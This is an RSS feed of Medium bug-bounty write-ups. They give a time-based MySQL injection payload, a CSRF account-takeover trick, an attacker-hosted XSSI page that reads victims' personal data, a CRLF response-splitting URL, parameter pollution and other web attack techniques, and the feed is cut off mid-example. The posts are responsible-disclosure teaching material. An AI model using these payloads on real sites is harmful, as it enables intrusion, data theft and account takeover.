<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vishal Barot on Medium]]></title>
        <description><![CDATA[Stories by Vishal Barot on Medium]]></description>
        <link>https://medium.com/@kshunya?source=rss-aa2870ad7c26------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*rivq-ZE7gIgxypnkSDhwYQ.jpeg</url>
            <title>Stories by Vishal Barot on Medium</title>
            <link>https://medium.com/@kshunya?source=rss-aa2870ad7c26------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 11:31:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kshunya/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I got Time Based SQL Injection in an Old Public Bug Bounty Program]]></title>
            <link>https://medium.com/@kshunya/how-i-got-time-based-sql-injection-in-an-old-public-bug-bounty-program-f6260cd4e75e?source=rss-aa2870ad7c26------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6260cd4e75e</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Vishal Barot]]></dc:creator>
            <pubDate>Sun, 13 Oct 2024 07:27:11 GMT</pubDate>
            <atom:updated>2024-10-13T20:56:47.339Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Hekurrrrrrrrrrzzzzzzzzzzzzzz…..</p><p>Hope y’all doing well.</p><p>I have been doing bug hunting on this particular Bug Bounty Program since last 3 years, It’s a very old program yet I was able to find SQL Injection on it.</p><p>I will tell you how.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*ehgpYkLHUxgBjyoB3-3HOw.gif" /></figure><p>I cannot disclose the target name hence let’s call it site.redacted.com.</p><p>I logged in to the application and saw a chatbox functionality on it for the logged in users through which they can get support assistance. It was a third party chatbox hence I didn’t bother much to test it knowing it would be Out-of-scope. However, I saw a very new feature in it “Connect with AI Assistant”. So this AI assistant feature was a part of the main chatbox when you launch it, it opens an AI chatbox inside the main chatbox.</p><p>This was all interesting but the question still remains the same. It would be out of scope, right?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*_TW7n3TtRJUnA2jzMLM8SA.gif" /></figure><p>To find the answer I intercepted the “launch AI chatbox” request with my burpsuite interceptor and I noticed that it was trigger an API request to the chat-agent with the authorization token from site.redacted.com.</p><p>Once the authorization is complete, the AI chatbox launches and when I enter text in it and send it, it triggers the API request on our target host only.</p><p>The request goes like this (with some paramaters in the POST body):</p><p>https://site.redacted.com/external-api/chat-agent/api/conversation/message</p><p>This is the integration API to the chat-agent and it has many POST parameters in the body so I started testing them for SQLi one by one.</p><p>I entered single quote and double quote in all the parameters to see if any parameter is vulnerable to Error-based SQL Injection but no luck.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*Me09FP2o6ymH64TyC8lN2Q.gif" /></figure><p>Now the main domain of this site redacted.com showed in the wappalyzer that it is using MySQL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/1*chT8l7S9ah80DMOSvdxf4A.png" /></figure><p>With this information, I guessed that this subdomain would also be using MySQL hence I tried to below MySQL Time-based SQL Injection payloads in all the parameters:</p><p>(select*(from(select(sleep(5)))a)</p><p>And it worked in the userId parameter but something was wrong.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XbZAsR_nlTKd8-iPiVcMXw.png" /></figure><p>I entered “5” in the sleep function but the application responded in 15 seconds.</p><p>To understand this, I entered values 1,3 and 5 in the playload and below are the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lDpr2wdvp9uLk78xr4JpCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mpwfyYa6-e1lKbovuLCMzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XbZAsR_nlTKd8-iPiVcMXw.png" /></figure><p>sleep(1) -&gt; Response time = 3.9 seconds</p><p>sleep(3) -&gt; Response time = 9.9 seconds</p><p>sleep(5) -&gt; Response time = 15.9 seconfs</p><p>Conclusion: The application was adding it’s own additional delay of around 3 second with every 1 second of sleep and it was all fine. It wouldn’t make any difference. The additional delay occurred mostly because the user ID parameter might have been used at 3 places in the SQL query.</p><p>Now it was the time to dump the database using SQLMAP and I was able to do it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OkhcHMAixTindkjQFiMDg.png" /></figure><p>There was one more parameter accountId in the same request which was also vulnerable. I just appended the payload ‘+(select*(from(select(sleep(5)))a)+’ with the existing value of accountId parameter like this to achieve a delayed response:</p><p>“accountId”:”12345&#39;+(select*(from(select(sleep(5)))a)+’”</p><p>I reported these bugs to the program, they fixed the bugs and rewarded me with bounty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*WvhMLOdAhc1en-i2iZBDMg.gif" /></figure><p><strong>Tips:</strong></p><ol><li>Always test the integration APIs, the burpsuite scans might not reach there.</li><li>Use the below google dork on your existing targets to find recently updated pages and ind new features or API in them to test for SQLi.</li></ol><p><strong>site: target.com after:10 september 2024</strong></p><p>There are high chances that those features or APIs are not explored by other bughunters yet.</p><p>That’s all for today.</p><p>I hope you guys enjoyed reading it. If yes, then don’t forget to clap.</p><p>-Kshunya</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6260cd4e75e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting for Vulnerabilities that are ignored by most of the Bug Bounty Hunters — Part 2]]></title>
            <link>https://medium.com/@kshunya/hunting-for-vulnerabilities-that-are-ignored-by-most-of-the-bug-bounty-hunters-part-2-d2a51edaa8e8?source=rss-aa2870ad7c26------2</link>
            <guid isPermaLink="false">https://medium.com/p/d2a51edaa8e8</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vapt]]></category>
            <dc:creator><![CDATA[Vishal Barot]]></dc:creator>
            <pubDate>Sun, 28 Jul 2024 05:37:07 GMT</pubDate>
            <atom:updated>2024-07-28T06:19:34.283Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hunting for Vulnerabilities that are ignored by most of the Bug Bounty Hunters — Part 2</h3><p>Hi Guys,</p><p>I finally decided to come up with part 2 of “<strong>Hunting for Vulnerabilities that are ignored by most of the Bug Bounty Hunters</strong>”. If you havent read part-1 of this write-up, you can find it here: <a href="https://medium.com/@kshunya/hunting-for-vulnerabilities-that-are-ignored-by-most-of-the-bug-bounty-hunters-part-1-187b35508e56">https://medium.com/@kshunya/hunting-for-vulnerabilities-that-are-ignored-by-most-of-the-bug-bounty-hunters-part-1-187b35508e56</a></p><p>Now let’s start with a couple more interesting and often missed web application vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*kISrKl-aWuN7j9WqJsevcg.gif" /></figure><p><strong>1.</strong> <strong>RE-DOS : Regular Expression DOS</strong></p><p>To understand this vulnerability we have to go back to our engineering days and revise the concept of Finite Automata.</p><p>Finite Automata(FA) is the simplest machine to recognize patterns.It is used to characterize a Regular Language.</p><p>Now we need to understand the difference between DFA and NFA ( Deterministic Finite Automata and Non-Deterministic Finite Automata).</p><p>In the below image, you can see example of NFA and DFA.</p><p>NFA: It is going to be looped on the first process doesn’t matter what input is given to it( a or b).</p><p>DFA: Unlike NFA the DFA is not always going to be looped in a never ending process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F9aWzI5NZLthctQJd0My5Q.png" /></figure><p>I hope this makes some sense, now the Re-DOS attack happens when a NFA state is achieved due to a tricky input provided to a faulty regex implemented by the developer.</p><p>In order to achieve some impact, the regex should be server side. As the client side regex match would only lead to self-DOS.</p><p>Now assume that there is an input field in the application and the server side regex for that input field is /A(B|C+)+D/.</p><p>Lets understand this regex: /A(B|C+)+D/</p><p>The value should start with A, followed by B or followed by n numbers of C and ending with a D.</p><p>Examples of inputs matching with the regex:</p><p>ABD, ACCCCCCCCCCCCD, ACD</p><p>But if assume if a invalid string like ACCCCCCCCCCCCCCCC….(C ten thousand times) is provided to the input field then it is going to consume a lot of time to make a check because the pattern starts with A followed by 10 thousand Cs and the regex will keep looping on C in order to continue finding the D to end the check. Hence entering such a string for regex /A(B|C+)+D/ will lead to a Re-DOS attack due to consuming too much time for the regex match.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/281/1*pYfn5NSnTiKEcOve9rNr0Q.gif" /></figure><p>You can guess the server side regex by entering different values and observing the response.</p><p><strong>2. Private Account Information Disclosure through Front-end code</strong></p><p>This vulnerability was found on my hackerone target.</p><p>The application’s user profile contains details like links to his social media accounts and personal sites. When the profile privacy is public, other users can see the social media links/personal sites of a user but when it is set to private then no one can see them. In the below image it can be seen that there are no social media buttons because profile privacy is set to private.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6rL7zEa-shUPXAZIJ6vWYw.png" /></figure><p>The developers designed a configuration in such a way that when a profile is private, the social media URL won’t appear on user profile but they forgot to remove the information from front-end code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xbtZlvOSBIX6RcxxhL2WtA.png" /></figure><p>The steps to find such vulnerabilities are very simples:</p><p>Step 1. Check if the application have private-profile option.</p><p>Step 2. If yes, observe what details get hidden once the profile is made private.</p><p>Step 3. Try to find those details in the front-end code of those pages by simply doing a view-source and search in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*mMRmdk_jh-NduyK_BQNdrQ.gif" /></figure><p><strong>3. Parameter pollution on Social Media Buttons</strong></p><p>There are many application that allow sharing their articles on social media platforms and for that they give the social media buttons on the article pages through which the articles can directly be shared on the social media along with it’s link.</p><p>Here is an example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YIWUu9nMfWyJRPeF-5r_Vg.png" /></figure><p>Lets say the artcile URL is <a href="https://article.com/blog/artcile123">https://article.com/blog/artcile123</a> and it when it is shared on facebook.com through the facebook button it triggers the below url:</p><p><a href="https://facebook.com/dialog/feed?app_id=1234&amp;link=https://site.com/blog?url=">https://facebook.com/dialog/feed?app_id=1234&amp;link=https://site.com/blog</a>/article123</p><p>if the application is vulnerable to parameter pollution on this feature then an attacker can append an extra “link” parameter in the url and send it to the victim like this:</p><p><a href="https://site.com/blog?url=">https://site.com/blog/article123?</a>&amp;link=https://evil.com</p><p>when the victim open the URL and try to share the article on his social media the facebook URL that gets triggered would be something like this:</p><p><a href="https://facebook.com/dialog/feed?app_id=1234&amp;link=https://site.com/blog?url=">https://facebook.com/dialog/feed?app_id=1234&amp;link=https://site.com/blog</a>/article123&amp;link=https://evil.com</p><p>Along with the legit article URL, the victim will be sharing the attacker’s URL on his social media account.</p><p><strong>4. Web Cache Deception Attack</strong></p><p>Unlike Web Cache Poisoing , cache deception is a targeted attack. User’s authentication information is cached on a non-exisiting endpoint which can be seen by any remote attacker.</p><p>Let’s assume that the below web application is showing username (vishal bb) and cart item on the url <a href="https://in.virtuosity.com/spidacalc/nonexisting.css">https://in.virtuosity.com/spidacalc</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rM80Uo0S90X_Cf7cv7DRWw.png" /></figure><p>Now open a non existing URL such as <a href="https://in.virtuosity.com/spidacalc/nonexisting.css">https://in.virtuosity.com/spidacalc/nonexisting.css</a> you can see the error that the page throws but you can also see that the username and cart details are still visible on 404 error page .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TCeBNBRFPrAdbdZL10YAsg.png" /></figure><p>Now if an attacker opens this URL in an unauthenticated browser window and if the details are visible there as well, then the application is vulnerable to web cache deception.</p><p>It happens because in such cases the response for that particular user containing his authenticated information gets cached on that link.</p><p><strong>5. Second Order Subdomain Takeovers</strong></p><p>This vulnerability arise when a website is using an external domain to fetch files and that domain/subdomain is vulnerable to a takeover.</p><p>All you need to to is view-source of the page and check the external domains/subdomains if they are giving a 404 or not. If yes, then check if their CNAME entry is expired or not.</p><p>The external domain can be anything, it can be a cloud service bucket as well for example s3 bucket.</p><p>Let’s assume your target is example.com and when you view-source of the <a href="http://www.example.com/index.html">www.example.com/index.html</a> page it shows some external links, one of them is info.evil.com/somejavascript.js.</p><p>now lets assume the info.evil.com is vulnerable to subdomain takeover then an attacker can claim it and make a malicious JS file, name is as somejavascript.js and host it on info.evil.com/somejavascript.js (on the same path).</p><p>The application is going to run attacker’s malicious JS code on index.html page.</p><p>To automate the detection of second order subdomain takeover, you can use the tool <a href="https://www.deadlinkchecker.com/">https://www.deadlinkchecker.com</a>.</p><p><strong>6. Sensitive Information Extraction from Archive.org</strong></p><p>The web applications sometimes process sensitive parameters like login credentials, login tokens, credit card number, etc on GET methods.</p><p>Apart from parameters it also process some sensitive files on GET Methods.</p><p>This is a risky behaviour because data sent in GET method can be crawled by the crawlers and saved at archive engine.</p><p>You can use archive engine like this in order to check archive data for your target:</p><p><a href="https://web.archive.org/cdx/search/cdx?url=*.YOURTARGET.COM&amp;fl=original&amp;collapse=urlkey">https://web.archive.org/cdx/search/cdx?url=*.YOURTARGET.COM&amp;fl=original&amp;collapse=urlkey</a></p><p>An attacker can extract these information by searching for keyworks like name, code, token, mobile number, creditcardno etc.This can give a huge impact depending on what is leaked. If a working access token or a password is achieved from this technique, then it will lead to unauthorized access to the user account or systems. This is why sensitive data must not be sent through GET Method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ykWIpWD4OZ8I4btUuWi2KA.png" /></figure><p>So that’s all for today. Don’t forget to clap if you enjoyed reading.</p><p>See ya soon with another interesting write-up.</p><p>Happy Hacking ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*kD8RMuTd3ZvQsNKDYDS8gA.gif" /></figure><p>-Kshunya (Vishal Barot)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2a51edaa8e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I discovered a new way to bypass CSRF protection to achieve Account Takeover]]></title>
            <link>https://medium.com/@kshunya/i-discovered-a-new-way-to-bypass-csrf-protection-to-achieve-account-takeover-73d1dff3c67a?source=rss-aa2870ad7c26------2</link>
            <guid isPermaLink="false">https://medium.com/p/73d1dff3c67a</guid>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Vishal Barot]]></dc:creator>
            <pubDate>Fri, 15 Mar 2024 06:28:46 GMT</pubDate>
            <atom:updated>2024-03-15T06:29:46.196Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Hackoooooooooooorzzzzzzzzzzzzz!!!!</p><p>2 days ago, I was hunting on one of my oldest target with my best friend hoping to earn some bucks because:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*njOadQS5f-axtj6UoYaE4Q.gif" /></figure><p>After hours of efforts we were only able to find disappointment :(</p><p>As I had almost emptied all my test cases on the target, I was completely blank and started checking old reports that I had submitted to the target and I came across a report in which I reported a simple CSRF attack.</p><p>I planned to attempt CSRF attacks on the authenticated request along with all the bypassing techniques I knew but the Anti-CSRF token was implemented nicely hence I was not able to bypass the protection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*AfVSeOaHMbfR5BuFdo0oaA.gif" /></figure><p>The edit profile page on which I was attempting CSRF attack was not asking for password confirmation for setting up a new password but it does have an Anti-CSRF token named as “Passwordguard”. I tried to bypass the Anti-CSRF token protection but none of my logics worked.</p><p>The request on edit profile page to change the password and other details was like this:</p><p>POST /site/account HTTP/1.1</p><p>Host: target.com</p><p>.</p><p>.</p><p>email=victimuser8@gmail.com&amp;pass=Test@123&amp;name=vishal&amp;passwordguard=LJSdCgF3koheoPZ1rTo51eHD6ex0C</p><p>I decided the register on a new account to check the entire registration flow once again and while registering, I came across this request.</p><p>POST /site/welcome HTTP/1.1</p><p>Host: target.com</p><p>.</p><p>.</p><p>email=hacker@gmail.com&amp;pass=Test@12345&amp;name=tesaccount&amp;jobtitle=engineer&amp;address=abcsociety</p><p>I observed that on this request there is no Anti-CSRF token and technically this request is also setting up password and other details for a user account but this request specifically sets up password for a new user account i.e during the registration. Also I observed that the password parameters are named differently in both the request, in one request it was pass and in another one it was password.</p><p>I started wondering what if I make some changes in this request by removing unnecessary parameters, keeping only email and pass parameter and then I generate CSRF POC of this request and deliver it to a victim user?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*wq6ZjFERGAsqZRUaK7U5rA.gif" /></figure><p>My curiousity made me do it and the request looked like this:</p><p>POST /site/welcome HTTP/1.1</p><p>Host: target.com</p><p>.</p><p>.</p><p>email=hacker@gmail.com&amp;pass=Test@12345</p><p>And guess what? It worked!!</p><p>I confirmed this by changing password of another user via CSRF to “hacker@123” and I was able to achieve success doing it.</p><p>Moral of the story:</p><p>There may be more than one request which can be used to do same thing.</p><p>Always check POST requests with endpoints like /welcome /register etc, they can be used to initiate change in an authenticated account. This trick may not work all the time but it’s good to add it in your checklist as it may work when none of your CSRF protection bypass test cases are able to bypass the protection.</p><p>That’s all for today.</p><p>Happy Hacking Guys!</p><p>-vFlexo</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73d1dff3c67a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Business Logic Error in the Comment Section of a Porn site]]></title>
            <link>https://medium.com/@kshunya/business-logic-error-in-the-comment-section-of-a-porn-site-42643f66dfee?source=rss-aa2870ad7c26------2</link>
            <guid isPermaLink="false">https://medium.com/p/42643f66dfee</guid>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Vishal Barot]]></dc:creator>
            <pubDate>Sun, 25 Feb 2024 03:46:18 GMT</pubDate>
            <atom:updated>2024-02-25T03:46:18.176Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Guys,</p><p>Recently I came across a vulnerability that I would love to talk about.</p><p>I was invited to a private hackerone bug bounty program of a well known porn site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*epR6_T6AUF9rPcdRuHHp7A.gif" /></figure><p>I logged into the site and opened some random porn video. There were multiple comments in the comment section of that porn video and also there was a “report” button to report offensive or spam comments.</p><p>I clicked that button and intercepted the request with Burpsuite.</p><p>It was a surprise to see that the comment content (“nice”) was getting sent as a request parameter named “text”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqEs0KIRCkOvnx2nzWWtjA.png" /></figure><p>That was something very unusual.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*JDeEvOGlFzZ0aL_fmvb7mg.png" /></figure><p>After intercepting the request I changed the text parameter’s value from “nice” to something else like “Some Offensive Text” and then observed the response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*PDaVwZTb_izrBg2txCSTdA.png" /></figure><p>As you can see in the above screenshot of the HTTP response, it showed {\”message\”: \”ok\”} in the response confirming that the tampered value has been sent in the report request.</p><p>Now upon investigation it was realised that these offensive/spam comment reports were being analysed manually and there were certain actions being taken again offensive/spam users including the deletion/suspension of account. Since the site only allowed paid user to login to it, it would be a financial impact to the users if anyone report their comment by tampering the content and as a consequence the account of the user get suspended.</p><p>The bug was accepted and a bounty was paid for the responsible disclosure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gwHzyg83i7sxUN_2jhqbRA.png" /></figure><p>That’s the happy ending I guess.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o1kwxr4UGGuMz-qAolRY2w.png" /></figure><p>I hope you enjoyed reading.</p><p>Don’t forget to read my other write-ups.</p><p>Happy Hacking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42643f66dfee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hunting for Vulnerabilities that are ignored by most of the Bug Bounty Hunters — Part 1]]></title>
            <link>https://medium.com/@kshunya/hunting-for-vulnerabilities-that-are-ignored-by-most-of-the-bug-bounty-hunters-part-1-187b35508e56?source=rss-aa2870ad7c26------2</link>
            <guid isPermaLink="false">https://medium.com/p/187b35508e56</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Vishal Barot]]></dc:creator>
            <pubDate>Sun, 28 Jan 2024 16:46:40 GMT</pubDate>
            <atom:updated>2024-02-06T18:01:56.776Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hunting for Vulnerabilities that are ignored by most of the Bug Bounty Hunters — Part 1</h3><p>Hey Guys! Hope y’all doing well.</p><p>I hope you read my previous write-ups and if you haven’t, check them out as it may add something to your Infosec knowledge.</p><p>Today we are going to learn a couple of vulnerabilities that are not discussed much, we’d learn how to identify them, exploit them and we’d also discuss the remediation. Instead of focusing on the theory part, I’ll try to focus more on the practical part so that you guys can comfortability test for these vulnerabilities during your bug hunting/ penetration testing activities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*P2GHWb-Z_vhKyWgk5xIYEg.gif" /></figure><p>So lets get started:</p><h3>Vulnerability 1: XSSI (Cross Site Script Inclusion)</h3><p>We all have heard about XSS but have you ever heard about XSSI?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*SW3H8zcdENB7uU4QH94Rxw.gif" /></figure><p>It is a vulnerability that allows leakage of sensitive data from one domain to another domain. This data could include login information such as tokens, cookies, sessionIDs etc or user’s personal information such as mobile number, credit card/ debit card information, email, address etc.</p><p>To understand this vulnerability we have to understand two things<strong>, Same Origin Policy </strong>and<strong> Dynamic Javascript</strong>.</p><p><strong>Same Origin Policy </strong>ensures that websites are only allowed to access data if they are from the same origin. But the irony is HTML &lt;script&gt; tags are not covered by this policy which is an absolute necessity as without it the websites won’t be able to consume third party services, perform traffic analysis or use Ad-Platforms.</p><p><strong>Dynamic Javascript </strong>code expects session token to fetch certain data. For example there is a JS function called info.js hosted at <a href="https://testsite.com/info.js">https://testsite.com/info.js</a>. Request-1 is sent to <a href="https://testsite.com/info.js">https://testsite.com/info.js</a> using authenticated sessions cookies of a user to get Response-1. Now Request-2 is sent without any session cookies and a Response-2 was received.</p><p>If Response-1 and Response-2 are different, then info.js is a Dynamic Javascript code. ( It can be automatically detected using burp plugin <a href="https://github.com/luh2/DetectDynamicJS"><strong>DetectDynamicJS</strong></a>, but in order to ignore false positives and missing out juicy endpoints, I’d suggest also checking the same manually).</p><p>Now, XSSI attack happens when sensitive information is being stored in the Dynamic JS files or in <a href="https://en.wikipedia.org/wiki/JSONP">JSONP</a> files( Regular JSON follows the Same Origin Policy so does HTML however, JSONP loads the script element hence the SOP is bypassed). Note that JS and JSONP are most common file types for XSSI however XSSI is not only limited to JavaScript it may occur in other file types for example CSV.</p><p>Lets understand XSSI Attack with an example.</p><p>Suppose there is a url <a href="https://vulnsite.com/p/?callback=abc">https://vulnsite.com/p/?showinfo=abc</a> which can only be accessed through authenticated users. Hitting the url gives reponse like this:</p><p>abc({ “name”:”vflexo” , “mobno”:”9876543210”, “email”:”<a href="/service/mailto:redacted@gmail.com">redacted@gmail.com</a>”, “address”:”101 Alien Apartments, Dacoit Streets, Pandora”,”request”:{“callback”:”abc”}})</p><p>An authenticated user can check in the new tab in the same browser if the <a href="https://vulnsite.com/p/?callback=abc">https://vulnsite.com/p/?showinfo=abc</a> is giving him the above response.</p><p>Now, the attacker can host a site let’s assume attacker.com and add the below code on it’s index.html or any other page.</p><p>&lt;html&gt;<br>&lt;script&gt;<br>function abc(s)<br>{<br>alert(JSON.stringify(s));<br>}<br>&lt;/script&gt;</p><p>&lt;script src=”<a href="https://vulnsite.com/p/?showinfo=abc">https://vulnsite.com/p/?showinfo=abc</a>&quot;&gt;&lt;/script&gt;</p><p>&lt;/html&gt;</p><p>When the attacker delivers the url <a href="https://attacker.com/index.html">https://attacker.com/index.html</a> to an authenticated victim, the victim data gets fetched and attacker can check it on his log server(of attacker.com).</p><p>The below data:</p><p>abc({ “name”:”vflexo” , “mobno”:”9876543210”, “email”:”<a href="/service/mailto:redacted@gmail.com">redacted@gmail.com</a>”, “address”:”101 Alien Apartments, Dacoit Streets, Pandora”,”request”:{“callback”:”abc”}})</p><p>Gets stolen.</p><p>Similarly, this vulnerability can lead to exposure of even more critical data depending on the endpoint and the application.</p><p><strong>Remediation</strong>:</p><p>To avoid XSSI attacks, don’t interpolate sensitive data in JavaScript filesuse JSON URLs instead (Not JSONP), or encode the data in the HTML of page itself. JSON and HTML content types are subject to the browser’s same-origin policy, so they can’t be used in XSSI attacks.</p><h3>Vulnerability 2: Cross User Defacement</h3><p>Due to HTTP response splitting, the site may allow returning two HTTP responses for a single request.</p><p>Let’s understand this with an example site <a href="https://vulnerablesite.com/">https://vulnerablesite.com</a>. Asssume the page parameter in the url <a href="https://vulnerablesite.com/redir.php?page=">https://vulnerablesite.com/redir.php?page=</a> is if supplied with %0d%0a (%0d%0a =&gt; URL encoded form for new line) then it is going to start the new line in the response hence it will breaking the current line in response and start a new line.</p><p>Now observe the below request and responses:</p><p>Request:</p><p><a href="https://vulnerablesite.com/redir.php?page=http://other.testsite.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a">https://vulnerablesite.com/redir.php?page=http://other.vulnerablesite.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a</a>&lt;html&gt;deface&lt;/html</p><p>Response 1:</p><p>HTTP/1.1 302 Moved Temporarily<br>Date: Wed, 24 Dec 2003 15:26:41 GMT<br>Location: <a href="http://testsite.com/redir.php?page=http://other.testsite.com">http://vulnerablesite.com/redir.php?page=http://other.vulnerablesite.com</a><br>Content-Length: 0</p><p>Response 2:</p><p>HTTP/1.1 200 OK<br>Content-Type: text/html<br>Content-Length: 19<br>&lt;html&gt;Deface&lt;/html&gt;</p><p>It can be observed that the vulnerable application gave two responses for a single request due to failure of validation of CR and LF and header misconfiguration. Hence, an attacker can use the vulnerability to deliver malcious content to it victim by tricking them to click the malicious URLs containing the exploit payloads.</p><p><strong>Remediation</strong>: The below mentioned remediation steps are required in order to prevent and mitigate the vulnerability.</p><p>A) Validation of the input data (CR and LF).<br>B) Forbid HTTP headers nesting in one header’s field.</p><h3>Vulnerability 3: Delimiter Injection</h3><p>This vulnerability occurs when manipulation of certain parameters in a web application leads to unexpected behaviour like authorization bypass or information disclosure or business logic errors.</p><p>Suppose we have an edit profile page on <a href="https://vulnsite.com/editprofile.php">https://vulnsite.com/editprofile.php</a></p><p>Now assume that we have an member.php file which is responsible for managing application user. An example of such file would be like this:</p><p>&lt;? Vflexo|Test@<a href="/service/mailto:12345|Vflexo@vflexo.com">12345|Vflexo@vflexo.com</a>|admin| Vishal|Demo@<a href="/service/mailto:12345|Vishal@vflexo.com">12345|Vishal@vflexo.com</a>|normal| ?&gt;</p><p>When a user wants to edit their profile, they must use the “edit account” option in the “editprofile.php” page and enter their login information. However, using “|” as a parameter delimiter on email field followed by “admin”, the user could elevate their privileges to administrator. Example:</p><p>Username: Vishal Password: Demo@12345 Email: <a href="/service/mailto:Vishal@vflexo.com">Vishal@vflexo.com</a> |admin|</p><p>This information will be recorded in “mem.php” file like this:</p><p>Vishal|Demo@<a href="/service/mailto:12345|Vishal@vflexo.com">12345|Vishal@vflexo.com</a>|admin|normal|</p><p>In this case, the last parameter delimiter considered is “|admin|” and the user could elevate their privileges by assigning administrator profile.</p><p>Although this vulnerability doesn’t allow manipulation of other users’ profiles, it allows privilege escalation for application users.</p><p><strong>Remediation</strong>: Input Validation should be properly implemented.</p><h3>Vulnerability 4: SMTP Header Injection</h3><p>This vulnerability occurs in web applications when user controlled input is placed in email templated without proper sanitization allowing attacker to add additional header with arbitrary values.</p><p>Suppose we have an application that allow creating organisations and it has an “invite users” feature. Lets say user1@gmail.com is invited by user2@gmail.com to his organisation EvilCorp through the invite feature, the email through which invitation gets sent is invite@vulnsite.com and the subject of the email is “Invitation — EvilCorp” . Now it is clearly evident that EvilCorp is a user controllable input. An attempt can be made through this user controlled input for SMTP Header Injection by using \r\n and custom headers.</p><p>If the user1 changes the organisation name from EvilCorp to “Phishing\r\nContent-Type: text/html; 